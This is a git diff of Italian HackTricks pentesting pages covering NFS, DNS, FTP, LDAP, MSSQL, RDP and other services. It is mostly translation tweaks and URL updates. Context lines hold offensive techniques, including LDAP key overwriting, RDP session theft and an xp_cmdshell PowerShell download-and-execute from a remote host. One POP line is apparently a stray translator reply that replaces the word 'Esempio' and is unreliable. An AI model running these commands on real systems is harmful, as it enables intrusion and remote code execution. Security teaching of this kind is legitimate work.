a/src/network-services-pentesting/nfs-service-pentesting.md +++ b/src/network-services-pentesting/nfs-service-pentesting.md @@ -55,11 +55,11 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock ``` ## Permessi -Se monti una cartella che contiene **file o cartelle accessibili solo da alcuni utenti** (tramite **UID**). Puoi **creare** **localmente** un utente con quel **UID** e utilizzando quel **utente** sarai in grado di **accedere** al file/cartella. +Se monti una cartella che contiene **file o cartelle accessibili solo da alcuni utenti** (tramite **UID**). Puoi **creare** **localmente** un utente con quel **UID** e utilizzando quell'**utente** sarai in grado di **accedere** al file/cartella. ## NSFShell -Per elencare, montare e cambiare facilmente UID e GID per avere accesso ai file puoi usare [nfsshell](https://github.com/NetDirect/nfsshell). +Per elencare, montare e cambiare facilmente UID e GID per avere accesso ai file, puoi usare [nfsshell](https://github.com/NetDirect/nfsshell). [Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/) @@ -104,7 +104,7 @@ mount -t nfs -o ver=2 10.10.10.180:/home /mnt/ cd /mnt nano into /etc/passwd and change the uid (probably 1000 or 1001) to match the owner of the files if you are not able to get in -https://book.hacktricks.xyz/pentesting/nfs-service-pentesting +https://book.hacktricks.wiki/en/network-services-pentesting/nfs-service-pentesting.html Entry_2: Name: Nmap diff --git a/src/network-services-pentesting/pentesting-dns.md b/src/network-services-pentesting/pentesting-dns.md index 6dd3b8d54..20d384035 100644 --- a/src/network-services-pentesting/pentesting-dns.md +++ b/src/network-services-pentesting/pentesting-dns.md @@ -19,7 +19,7 @@ PORT STATE SERVICE REASON - **DNS Root Servers**: Questi sono al vertice della gerarchia DNS, gestendo i domini di primo livello e intervenendo solo se i server di livello inferiore non rispondono. L'Internet Corporation for Assigned Names and Numbers (**ICANN**) supervisiona il loro funzionamento, con un conteggio globale di 13. - **Authoritative Nameservers**: Questi server hanno l'ultima parola per le query nelle loro zone designate, offrendo risposte definitive. Se non possono fornire una risposta, la query viene escalata ai server root. - **Non-authoritative Nameservers**: Mancando di proprietà sulle zone DNS, questi server raccolgono informazioni sui domini tramite query ad altri server. -- **Caching DNS Server**: Questo tipo di server memorizza le risposte alle query precedenti per un tempo stabilito per velocizzare i tempi di risposta per le richieste future, con la durata della cache determinata dal server autorevole. +- **Caching DNS Server**: Questo tipo di server memorizza le risposte alle query precedenti per un tempo stabilito per accelerare i tempi di risposta per le richieste future, con la durata della cache determinata dal server autorevole. - **Forwarding Server**: Svolgendo un ruolo semplice, i server di inoltro trasmettono semplicemente le query a un altro server. - **Resolver**: Integrati all'interno di computer o router, i resolver eseguono la risoluzione dei nomi localmente e non sono considerati autorevoli. @@ -95,13 +95,13 @@ dnsrecon -r /24 -n #DNS reverse of all of the addresses dnsrecon -d active.htb -a -n #Zone transfer ``` > [!NOTE] -> Se riesci a trovare sottodomini che risolvono a indirizzi IP interni, dovresti provare a eseguire un attacco di brute force DNS inverso sui NS del dominio richiedendo quel range IP. +> Se riesci a trovare sottodomini che risolvono a indirizzi IP interni, dovresti provare a eseguire un attacco di brute force DNS inverso sui NS del dominio chiedendo per quel range di IP. Un altro strumento per farlo: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan) Puoi interrogare i range IP inversi su [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (questo strumento è utile anche con BGP). -### DNS - Subdomini BF +### DNS - Subdomains BF ```bash dnsenum --dnsserver --enum -p 0 -s 0 -o subdomains.txt -f subdomains-1000.txt dnsrecon -D subdomains-1000.txt -d -n @@ -152,11 +152,11 @@ dig google.com A @ ### Email a un account inesistente -**Inviare un'email a un indirizzo non esistente** utilizzando il dominio della vittima potrebbe attivare la vittima a inviare un messaggio di notifica di mancata consegna (NDN) i cui **header** potrebbero contenere informazioni interessanti come il **nome dei server interni e indirizzi IP**. +**Inviare un'email a un indirizzo non esistente** utilizzando il dominio della vittima potrebbe indurre la vittima a inviare un messaggio di notifica di mancata consegna (NDN) i cui **header** potrebbero contenere informazioni interessanti come il **nome dei server interni e indirizzi IP**. ## Post-Exploitation -- Quando controlli la configurazione di un server Bind, verifica la configurazione del parametro **`allow-transfer`** poiché indica chi può eseguire trasferimenti di zona e **`allow-recursion`** e **`allow-query`** poiché indicano chi può inviare richieste ricorsive e richieste ad esso. +- Quando si controlla la configurazione di un server Bind, controllare la configurazione del parametro **`allow-transfer`** poiché indica chi può eseguire trasferimenti di zona e **`allow-recursion`** e **`allow-query`** poiché indicano chi può inviare richieste ricorsive e richieste ad esso. - I seguenti sono i nomi dei file relativi a DNS che potrebbero essere interessanti da cercare all'interno delle macchine: ``` host.conf @@ -196,7 +196,7 @@ SERVER {IP} Domain_Name exit -https://book.hacktricks.xyz/pentesting/pentesting-dns +https://book.hacktricks.wiki/en/todo/pentesting-dns.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md index 8c358c96b..7149ceeb9 100644 --- a/src/network-services-pentesting/pentesting-ftp/README.md +++ b/src/network-services-pentesting/pentesting-ftp/README.md @@ -16,11 +16,11 @@ PORT STATE SERVICE In **Active FTP**, il **client** FTP prima **inizia** la **connessione** di controllo dalla sua porta N alla porta di comando del server FTP – porta 21. Il **client** poi **ascolta** sulla porta **N+1** e invia la porta N+1 al server FTP. Il **server** FTP poi **inizia** la **connessione** dati, dalla **sua porta M alla porta N+1** del client FTP. -Tuttavia, se il client FTP ha un firewall configurato che controlla le connessioni dati in entrata dall'esterno, allora l'Active FTP potrebbe essere un problema. E, una soluzione fattibile per questo è il Passive FTP. +Tuttavia, se il client FTP ha un firewall configurato che controlla le connessioni dati in entrata dall'esterno, allora l'Active FTP potrebbe essere un problema. E una soluzione fattibile per questo è il Passive FTP. -Nel **Passive FTP**, il client inizia la connessione di controllo dalla sua porta N alla porta 21 del server FTP. Dopo questo, il client emette un **comando passv**. Il server poi invia al client uno dei suoi numeri di porta M. E il **client** **inizia** la **connessione** dati dalla **sua porta P alla porta M** del server FTP. +Nel **Passive FTP**, il client inizia la connessione di controllo dalla sua porta N alla porta 21 del server FTP. Dopo di che, il client emette un **comando passv**. Il server poi invia al client uno dei suoi numeri di porta M. E il **client** **inizia** la **connessione** dati dalla **sua porta P alla porta M** del server FTP. -Fonte: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/) +Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/) ### Debugging della connessione @@ -49,7 +49,7 @@ Con **nmap** ```bash sudo nmap -sV -p21 -sC -A 10.10.10.10 ``` -Puoi utilizzare i comandi `HELP` e `FEAT` per ottenere alcune informazioni dal server FTP: +Puoi usare i comandi `HELP` e `FEAT` per ottenere alcune informazioni dal server FTP: ``` HELP 214-The following commands are recognized (* =>'s unimplemented): @@ -115,7 +115,7 @@ Puoi connetterti a un server FTP utilizzando un browser (come Firefox) usando un ```bash ftp://anonymous:anonymous@10.10.10.98 ``` -Nota che se un **applicazione web** sta inviando dati controllati da un utente **direttamente a un server FTP**, puoi inviare byte di doppia codifica URL `%0d%0a` (in doppia codifica URL questo è `%250d%250a`) e far sì che il **server FTP esegua azioni arbitrarie**. Una di queste possibili azioni arbitrarie è scaricare contenuti da un server controllato dall'utente, eseguire la scansione delle porte o provare a comunicare con altri servizi basati su testo semplice (come http). +Nota che se un **applicazione web** sta inviando dati controllati da un utente **direttamente a un server FTP**, puoi inviare byte di doppia codifica URL `%0d%0a` (in doppia codifica URL questo è `%250d%250a`) e far sì che il **server FTP esegua azioni arbitrarie**. Una di queste possibili azioni arbitrarie è scaricare contenuti da un server controllato dall'utente, eseguire la scansione delle porte o cercare di comunicare con altri servizi basati su testo semplice (come http). ## Scarica tutti i file da FTP ```bash @@ -139,7 +139,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ - **`STOR /path/something.txt`** Come `APPE` ma sovrascriverà i file - **`STOU /path/something.txt`** Come `APPE`, ma se esiste non farà nulla. - **`RETR /path/to/file`** Deve essere stabilita una connessione passiva o una connessione port. Poi, il server FTP invierà il file indicato attraverso quella connessione -- **`REST 6`** Questo indicherà al server che la prossima volta che invia qualcosa usando `RETR` dovrebbe iniziare dal 6° byte. +- **`REST 6`** Questo indicherà al server che la prossima volta che invia qualcosa usando `RETR` dovrebbe iniziare al 6° byte. - **`TYPE i`** Imposta il trasferimento su binario - **`PASV`** Questo aprirà una connessione passiva e indicherà all'utente dove può connettersi - **`PUT /tmp/file.txt`** Carica il file indicato sull'FTP @@ -175,7 +175,7 @@ Comunque, qui hai un [vecchio esempio su come abusare di questo per far scaricar ## Vulnerabilità del server Filezilla -**FileZilla** di solito **si lega** a **locale** un **servizio amministrativo** per il **FileZilla-Server** (porta 14147). Se riesci a creare un **tunnel** dalla **tua macchina** per accedere a questa porta, puoi **connetterti** ad **essa** usando una **password vuota** e **creare** un **nuovo utente** per il servizio FTP. +**FileZilla** di solito **lega** a **locale** un **servizio amministrativo** per il **FileZilla-Server** (porta 14147). Se riesci a creare un **tunnel** dalla **tua macchina** per accedere a questa porta, puoi **connetterti** ad **essa** usando una **password vuota** e **creare** un **nuovo utente** per il servizio FTP. ## File di configurazione ``` @@ -186,7 +186,7 @@ vsftpd.conf ``` ### Post-Exploitation -La configurazione predefinita di vsFTPd può essere trovata in `/etc/vsftpd.conf`. Qui, potresti trovare alcune impostazioni pericolose: +La configurazione predefinita di vsFTPd può essere trovata in `/etc/vsftpd.conf`. Qui potresti trovare alcune impostazioni pericolose: - `anonymous_enable=YES` - `anon_upload_enable=YES` @@ -222,7 +222,7 @@ wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59' wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98' if PASV transfer is disabled -https://book.hacktricks.xyz/pentesting/pentesting-ftp +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-imap.md b/src/network-services-pentesting/pentesting-imap.md index 9ced7135a..be5fd79ec 100644 --- a/src/network-services-pentesting/pentesting-imap.md +++ b/src/network-services-pentesting/pentesting-imap.md @@ -4,12 +4,12 @@ ## Internet Message Access Protocol -Il **Internet Message Access Protocol (IMAP)** è progettato per consentire agli utenti di **accedere ai propri messaggi email da qualsiasi posizione**, principalmente tramite una connessione Internet. In sostanza, le email sono **conservate su un server** piuttosto che essere scaricate e memorizzate su un dispositivo personale. Ciò significa che quando un'email viene accessibile o letta, avviene **direttamente dal server**. Questa capacità consente la comodità di controllare le email da **più dispositivi**, garantendo che nessun messaggio venga perso indipendentemente dal dispositivo utilizzato. +Il **Protocollo di Accesso ai Messaggi Internet (IMAP)** è progettato per consentire agli utenti di **accedere ai propri messaggi email da qualsiasi posizione**, principalmente tramite una connessione Internet. In sostanza, le email sono **conservate su un server** piuttosto che essere scaricate e memorizzate su un dispositivo personale. Ciò significa che quando un'email viene accessibile o letta, avviene **direttamente dal server**. Questa capacità consente la comodità di controllare le email da **più dispositivi**, garantendo che nessun messaggio venga perso indipendentemente dal dispositivo utilizzato. Per impostazione predefinita, il protocollo IMAP funziona su due porte: -- **Port 143** - questa è la porta IMAP non crittografata predefinita -- **Port 993** - questa è la porta da utilizzare se si desidera connettersi in modo sicuro utilizzando IMAP +- **Porta 143** - questa è la porta IMAP non crittografata predefinita +- **Porta 993** - questa è la porta da utilizzare se si desidera connettersi in modo sicuro utilizzando IMAP ``` PORT STATE SERVICE REASON 143/tcp open imap syn-ack @@ -115,7 +115,7 @@ curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass ``` L'indice della posta sarà lo stesso indice restituito dall'operazione di ricerca. -È anche possibile utilizzare `UID` (id univoco) per accedere ai messaggi, tuttavia è meno conveniente poiché il comando di ricerca deve essere formattato manualmente. E.g. +È anche possibile utilizzare `UID` (id univoco) per accedere ai messaggi, tuttavia è meno conveniente poiché il comando di ricerca deve essere formattato manualmente. Ad esempio. ```bash curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass @@ -136,7 +136,7 @@ done - `port:143 CAPABILITY` - `port:993 CAPABILITY` -## Comandi Automatici HackTricks +## HackTricks Comandi Automatici ``` Protocol_Name: IMAP #Protocol Abbreviation if there is one. Port_Number: 143,993 #Comma separated if there is more than one. @@ -148,7 +148,7 @@ Description: Notes for WHOIS Note: | The Internet Message Access Protocol (IMAP) is designed for the purpose of enabling users to access their email messages from any location, primarily through an Internet connection. In essence, emails are retained on a server rather than being downloaded and stored on an individual's personal device. This means that when an email is accessed or read, it is done directly from the server. This capability allows for the convenience of checking emails from multiple devices, ensuring that no messages are missed regardless of the device used. -https://book.hacktricks.xyz/pentesting/pentesting-imap +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-imap.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md index fd9e0f6bb..bc0d513d8 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/README.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md @@ -46,7 +46,7 @@ Note: | Kerberos operates on a principle where it authenticates users without directly managing their access to resources. This is an important distinction because it underlines the protocol's role in security frameworks. In environments like **Active Directory**, Kerberos is instrumental in establishing the identity of users by validating their secret passwords. This process ensures that each user's identity is confirmed before they interact with network resources. However, Kerberos does not extend its functionality to evaluate or enforce the permissions a user has over specific resources or services. Instead, it provides a secure way of authenticating users, which is a critical first step in the security process. -https://book.hacktricks.xyz/pentesting/pentesting-kerberos-88 +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-kerberos-88/index.html Entry_2: Name: Pre-Creds diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md index 10bccc48c..4e351e55e 100644 --- a/src/network-services-pentesting/pentesting-ldap.md +++ b/src/network-services-pentesting/pentesting-ldap.md @@ -4,7 +4,7 @@ L'uso di **LDAP** (Lightweight Directory Access Protocol) è principalmente per localizzare varie entità come organizzazioni, individui e risorse come file e dispositivi all'interno delle reti, sia pubbliche che private. Offre un approccio semplificato rispetto al suo predecessore, DAP, avendo un'impronta di codice più piccola. -Le directory LDAP sono strutturate per consentirne la distribuzione su più server, con ogni server che ospita una versione **replicata** e **sincronizzata** della directory, chiamata Directory System Agent (DSA). La responsabilità per la gestione delle richieste è interamente del server LDAP, che può comunicare con altri DSA secondo necessità per fornire una risposta unificata al richiedente. +Le directory LDAP sono strutturate per consentire la loro distribuzione su più server, con ogni server che ospita una versione **replicata** e **sincronizzata** della directory, chiamata Directory System Agent (DSA). La responsabilità per la gestione delle richieste spetta interamente al server LDAP, che può comunicare con altri DSA secondo necessità per fornire una risposta unificata al richiedente. L'organizzazione della directory LDAP assomiglia a una **gerarchia ad albero, partendo dalla directory radice in cima**. Questa si ramifica in paesi, che si dividono ulteriormente in organizzazioni, e poi in unità organizzative che rappresentano varie divisioni o dipartimenti, raggiungendo infine il livello delle singole entità, comprese sia le persone che le risorse condivise come file e stampanti. @@ -52,7 +52,7 @@ phone: 23627387495 ## Scrivi dati -Nota che se puoi modificare i valori potresti essere in grado di eseguire azioni davvero interessanti. Ad esempio, immagina che **puoi cambiare le informazioni "sshPublicKey"** del tuo utente o di qualsiasi utente. È altamente probabile che se questo attributo esiste, allora **ssh sta leggendo le chiavi pubbliche da LDAP**. Se puoi modificare la chiave pubblica di un utente **sarai in grado di accedere come quell'utente anche se l'autenticazione con password non è abilitata in ssh**. +Nota che se puoi modificare i valori potresti essere in grado di eseguire azioni davvero interessanti. Ad esempio, immagina che tu **possa cambiare le informazioni "sshPublicKey"** del tuo utente o di qualsiasi utente. È altamente probabile che se questo attributo esiste, allora **ssh sta leggendo le chiavi pubbliche da LDAP**. Se puoi modificare la chiave pubblica di un utente **sarai in grado di accedere come quell'utente anche se l'autenticazione con password non è abilitata in ssh**. ```bash # Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/ >>> import ldap3 @@ -70,7 +70,7 @@ Se LDAP viene utilizzato senza SSL, puoi **sniffare le credenziali in chiaro** n Inoltre, puoi eseguire un attacco **MITM** nella rete **tra il server LDAP e il client.** Qui puoi effettuare un **Downgrade Attack** in modo che il client utilizzi le **credenziali in chiaro** per accedere. -**Se SSL è utilizzato**, puoi provare a fare **MITM** come menzionato sopra, offrendo un **certificato falso**; se l'**utente lo accetta**, puoi effettuare il Downgrade del metodo di autenticazione e vedere di nuovo le credenziali. +**Se viene utilizzato SSL**, puoi provare a fare **MITM** come menzionato sopra, offrendo un **certificato falso**; se l'**utente lo accetta**, puoi effettuare il downgrade del metodo di autenticazione e vedere di nuovo le credenziali. ## Anonymous Access @@ -98,7 +98,7 @@ ldapdomaindump [-r ] -u '\' -p '' [--authty ## Enumerazione -### Automatizzato +### Automatica Utilizzando questo, sarai in grado di vedere le **informazioni pubbliche** (come il nome di dominio)**:** ```bash @@ -129,7 +129,7 @@ Supported LDAP versions: 3 Naming contexts: dc=DOMAIN,dc=DOMAIN ``` -Una volta che hai il contesto di denominazione, puoi fare alcune query più interessanti. Questa semplice query dovrebbe mostrarti tutti gli oggetti nella directory: +Una volta che hai il contesto di denominazione, puoi effettuare alcune query più interessanti. Questa semplice query dovrebbe mostrarti tutti gli oggetti nella directory: ```bash >>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*') True @@ -201,7 +201,7 @@ Estrai **Domain Admins**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` -Estrai **Utenti di Dominio**: +Estrai **Domain Users**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` @@ -217,7 +217,7 @@ Estrai **Remote Desktop Group**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` -Per vedere se hai accesso a qualche password, puoi usare grep dopo aver eseguito una delle query: +Per verificare se hai accesso a qualche password, puoi usare grep dopo aver eseguito una delle query: ```bash | grep -i -A2 -B2 "userpas" ``` @@ -306,7 +306,7 @@ Utilizzando `ldapsearch` puoi **autenticarti** contro **kerberos invece** di tra ## POST -Se puoi accedere ai file dove sono contenute le basi di dati (potrebbero trovarsi in _/var/lib/ldap_). Puoi estrarre gli hash utilizzando: +Se puoi accedere ai file dove sono contenute le banche dati (potrebbero trovarsi in _/var/lib/ldap_). Puoi estrarre gli hash utilizzando: ```bash cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u ``` @@ -347,7 +347,7 @@ Description: Notes for LDAP Note: | The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint. -https://book.hacktricks.xyz/pentesting/pentesting-ldap +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index abfde4f49..972ed604c 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -16,7 +16,7 @@ Da [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): - **master Database**: Questo database è cruciale in quanto cattura tutti i dettagli a livello di sistema per un'istanza di SQL Server. - **msdb Database**: SQL Server Agent utilizza questo database per gestire la pianificazione di avvisi e lavori. -- **model Database**: Funziona come un modello per ogni nuovo database sull'istanza di SQL Server, dove eventuali modifiche come dimensione, ordinamento, modello di recupero e altro vengono replicate nei database appena creati. +- **model Database**: Funziona come un modello per ogni nuovo database sull'istanza di SQL Server, dove eventuali modifiche come dimensione, ordinamento, modello di recupero e altro sono riflesse nei database appena creati. - **Resource Database**: Un database di sola lettura che ospita oggetti di sistema forniti con SQL Server. Questi oggetti, pur essendo memorizzati fisicamente nel database Resource, sono presentati logicamente nello schema sys di ogni database. - **tempdb Database**: Funziona come un'area di archiviazione temporanea per oggetti transitori o set di risultati intermedi. @@ -64,9 +64,9 @@ msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload #Add new admin user from meterpreter session msf> use windows/manage/mssql_local_auth_bypass ``` -### [**Brute force**](../../generic-hacking/brute-force.md#sql-server) +### [**Forza bruta**](../../generic-hacking/brute-force.md#sql-server) -### Enumerazione Manuale +### Enumerazione manuale #### Accesso @@ -319,7 +319,7 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE ``` https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))-- ``` -### **RCE/Eseguire file eseguendo script (Python e R)** +### **RCE/Leggere file eseguendo script (Python e R)** MSSQL potrebbe consentirti di eseguire **script in Python e/o R**. Questo codice sarà eseguito da un **utente diverso** rispetto a quello che utilizza **xp_cmdshell** per eseguire comandi. @@ -537,7 +537,7 @@ Un attaccante può estrarre le password dei Linked Servers di SQL Server dalle i Alcuni requisiti e configurazioni devono essere eseguiti affinché questo exploit funzioni. Prima di tutto, è necessario avere diritti di Amministratore sulla macchina, o la capacità di gestire le Configurazioni di SQL Server. -Dopo aver convalidato le tue autorizzazioni, è necessario configurare tre cose, che sono le seguenti: +Dopo aver convalidato i tuoi permessi, devi configurare tre cose, che sono le seguenti: 1. Abilitare TCP/IP sulle istanze di SQL Server; 2. Aggiungere un parametro di avvio, in questo caso, verrà aggiunto un flag di traccia, che è -T7806. @@ -545,7 +545,7 @@ Dopo aver convalidato le tue autorizzazioni, è necessario configurare tre cose, Per automatizzare queste configurazioni, [questo repository](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ha gli script necessari. Oltre ad avere uno script powershell per ciascun passaggio della configurazione, il repository ha anche uno script completo che combina gli script di configurazione e l'estrazione e decrittografia delle password. -Per ulteriori informazioni, fare riferimento ai seguenti link riguardanti questo attacco: [Decrittografia delle password dei Linked Server di MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) +Per ulteriori informazioni, fai riferimento ai seguenti link riguardanti questo attacco: [Decrittografia delle password del server di collegamento del database MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) [Risoluzione dei problemi della connessione dedicata per l'amministratore di SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) @@ -620,7 +620,7 @@ go xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')" -https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html Entry_2: Name: Nmap for SQL diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 293cd94df..41d890fd2 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -4,7 +4,7 @@ ## **Informazioni di base** -**MySQL** può essere descritto come un **Sistema di Gestione di Database Relazionali (RDBMS)** open source disponibile gratuitamente. Funziona sul **Linguaggio di Query Strutturato (SQL)**, consentendo la gestione e la manipolazione dei database. +**MySQL** può essere descritto come un **Sistema di Gestione di Database Relazionali (RDBMS)** open source disponibile gratuitamente. Funziona con il **Linguaggio di Query Strutturato (SQL)**, consentendo la gestione e la manipolazione dei database. **Porta predefinita:** 3306 ``` @@ -144,7 +144,7 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '= Nella configurazione dei servizi MySQL, vengono impiegate varie impostazioni per definire il suo funzionamento e le misure di sicurezza: -- L'impostazione **`user`** è utilizzata per designare l'utente sotto il quale il servizio MySQL verrà eseguito. +- L'impostazione **`user`** è utilizzata per designare l'utente sotto il quale verrà eseguito il servizio MySQL. - **`password`** è applicata per stabilire la password associata all'utente MySQL. - **`admin_address`** specifica l'indirizzo IP che ascolta le connessioni TCP/IP sull'interfaccia di rete amministrativa. - La variabile **`debug`** è indicativa delle attuali configurazioni di debug, inclusa l'informazione sensibile all'interno dei log. @@ -590,7 +590,7 @@ Description: Notes for MySql Note: | MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL). -https://book.hacktricks.xyz/pentesting/pentesting-mysql +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html Entry_2: Name: Nmap diff --git a/src/network-services-pentesting/pentesting-ntp.md b/src/network-services-pentesting/pentesting-ntp.md index 3308fbc15..187476c6d 100644 --- a/src/network-services-pentesting/pentesting-ntp.md +++ b/src/network-services-pentesting/pentesting-ntp.md @@ -9,7 +9,7 @@ Il **Network Time Protocol (NTP)** garantisce che computer e dispositivi di rete ### Riepilogo e suggerimenti per la sicurezza: - **Scopo**: Sincronizza gli orologi dei dispositivi su reti. -- **Importanza**: Critica per la sicurezza, il logging e le operazioni. +- **Importanza**: Critico per la sicurezza, il logging e le operazioni. - **Misure di sicurezza**: - Utilizzare fonti NTP affidabili con autenticazione. - Limitare l'accesso alla rete del server NTP. @@ -64,7 +64,7 @@ Description: Notes for NTP Note: | The Network Time Protocol (NTP) ensures computers and network devices across variable-latency networks sync their clocks accurately. It's vital for maintaining precise timekeeping in IT operations, security, and logging. NTP's accuracy is essential, but it also poses security risks if not properly managed. -https://book.hacktricks.xyz/pentesting/pentesting-ntp +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ntp.html Entry_2: Name: Nmap diff --git a/src/network-services-pentesting/pentesting-pop.md b/src/network-services-pentesting/pentesting-pop.md index 61e7c9c64..dadbb66fe 100644 --- a/src/network-services-pentesting/pentesting-pop.md +++ b/src/network-services-pentesting/pentesting-pop.md @@ -46,7 +46,7 @@ QUIT Logout (expunges messages if no RSET) TOP msg n Show first n lines of message number msg CAPA Get capabilities ``` -Esempio: +Sure! Please provide the text you would like me to translate. ``` root@kali:~# telnet $ip 110 +OK beta POP3 server (JAMES POP3 Server 2.3.2) ready @@ -87,7 +87,7 @@ Description: Notes for POP Note: | Post Office Protocol (POP) is described as a protocol within the realm of computer networking and the Internet, which is utilized for the extraction and retrieval of email from a remote mail server**, making it accessible on the local device. Positioned within the application layer of the OSI model, this protocol enables users to fetch and receive email. The operation of POP clients typically involves establishing a connection to the mail server, downloading all messages, storing these messages locally on the client system, and subsequently removing them from the server. Although there are three iterations of this protocol, POP3 stands out as the most prevalently employed version. -https://book.hacktricks.xyz/network-services-pentesting/pentesting-pop +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-pop.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md index 9247a43f9..f57b547b2 100644 --- a/src/network-services-pentesting/pentesting-rdp.md +++ b/src/network-services-pentesting/pentesting-rdp.md @@ -50,7 +50,7 @@ rdp_check /:@ ### Furto di sessione -Con **permessi di SISTEMA** puoi accedere a qualsiasi **sessione RDP aperta da qualsiasi utente** senza bisogno di conoscere la password del proprietario. +Con **permessi SYSTEM** puoi accedere a qualsiasi **sessione RDP aperta da qualsiasi utente** senza bisogno di conoscere la password del proprietario. **Ottieni sessioni aperte:** ``` @@ -87,7 +87,7 @@ Se qualcuno di un dominio diverso o con **privilegi migliori accede via RDP** al ../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md {{#endref}} -### Aggiungere utente al gruppo RDP +### Adding User to RDP group ```bash net localgroup "Remote Desktop Users" UserLoginName /add ``` @@ -104,7 +104,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add - Esegui comandi SHELL e PowerShell arbitrari sul target senza caricare file - Carica e scarica file da/al target anche quando i trasferimenti di file sono disabilitati sul target -## HackTricks Comandi Automatici +## Comandi Automatici HackTricks ``` Protocol_Name: RDP #Protocol Abbreviation if there is one. Port_Number: 3389 #Comma separated if there is more than one. @@ -116,7 +116,7 @@ Description: Notes for RDP Note: | Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device. -https://book.hacktricks.xyz/pentesting/pentesting-rdp +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html Entry_2: Name: Nmap diff --git a/src/network-services-pentesting/pentesting-rpcbind.md b/src/network-services-pentesting/pentesting-rpcbind.md index 59adc4be1..646f62026 100644 --- a/src/network-services-pentesting/pentesting-rpcbind.md +++ b/src/network-services-pentesting/pentesting-rpcbind.md @@ -16,7 +16,7 @@ PORT STATE SERVICE rpcinfo irked.htb nmap -sSUC -p111 192.168.10.1 ``` -A volte non ti dà alcuna informazione, in altre occasioni otterrai qualcosa del genere: +A volte non ti fornisce alcuna informazione, in altre occasioni otterrai qualcosa del genere: ![](<../images/image (553).png>) @@ -34,7 +34,7 @@ Leggi[ 